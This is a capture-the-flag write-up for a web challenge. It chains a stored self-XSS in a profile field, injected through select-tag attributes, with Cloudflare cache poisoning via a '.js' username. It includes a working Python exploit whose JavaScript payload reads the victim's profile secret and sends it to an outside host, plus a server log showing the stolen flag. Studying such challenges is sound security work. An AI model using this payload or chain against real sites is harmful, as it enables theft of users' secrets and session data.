Tags: cache-poisoning web xss
Rating: 4.7
There was an xss vulnerability in update profile (`shoesize`). You could only inject attributes on a `select` tag. By setting `tabindex`/`contenteditable` and `autofocus`, the `onfocus` event will trigger. We use the payload to `fetch()` the currently authenticated users profile and read their secret. Then we report our profile to the `admin`.
The caveat was that it was a stored self-xss, so the xss on our profile would not trigger if another user viewed it. The challenge was behind cloudflare so we used cache poisoning[1] to make our profile load the same for every user. We can poison the cache by registering a username ending with `.js`. Apparently, this was not the intended way to solve this problem.
Last problem was that cloudflare has different cache regions, which one was `admin` using? We guessed that it would be hosted in the same region as other challs. The pwnable challs were not behind cloudflare and showed that they were DigitalOcean droplets in the Frankfurt region. So summary of steps:
1. Buy digital ocean droplet in frankfurt (same region as pwnable challs)
2. (from DO) Sign up blablabla.js
3. (from DO) Update blablabla.js profile with xss
4. (from DO) Visit blablabla.js profile
5. (from home, because captcha) Report blablabla.js profile
Exploit:
```python
import requests, random
payload = '''fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})'''
raw_data = '''------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="firstname"
azz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="lastname"
zzz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="shoesize"
1 tabindex=1 contenteditable autofocus onfocus='''+payload+'''
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="secret"
asd
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary8XvNm1gXcAtb4Hik--
'''
s = requests.Session()
s.get('http://web50.zajebistyc.tf/login')
username = 'hfs-'+str(random.randint(1000000,99999999))+".js"
password = username
headers_login = {'Content-Type': 'application/x-www-form-urlencoded'}
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8XvNm1gXcAtb4Hik'}
# Register account
res = s.post('http://web50.zajebistyc.tf/login', headers=headers_login, data="login="+username+"&password="+password)
# XSS profile
res = s.post('http://web50.zajebistyc.tf/profile/'+username, data=raw_data, headers=headers)
# Poison cloudflare cache
s.get('http://web50.zajebistyc.tf/profile/'+username)
print "poisoned. go report "+'http://web50.zajebistyc.tf/profile/'+username
```
Output in log after reporting the profile:
```
141.101.77.214 - - [16/Mar/2019:15:27:39 +0000] "GET /?secret%22%20value=%22p4{15_1t_1m4g3_or_n0t?}%22%3E HTTP/1.1" 200 1401 "http://web50.zajebistyc.tf/profile/hfs-25651301.js" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3626.122 Safari/537.36"
```
Flag `p4{15_1t_1m4g3_or_n0t?}` acquired.
[1] https://portswigger.net/blog/practical-web-cache-poisoning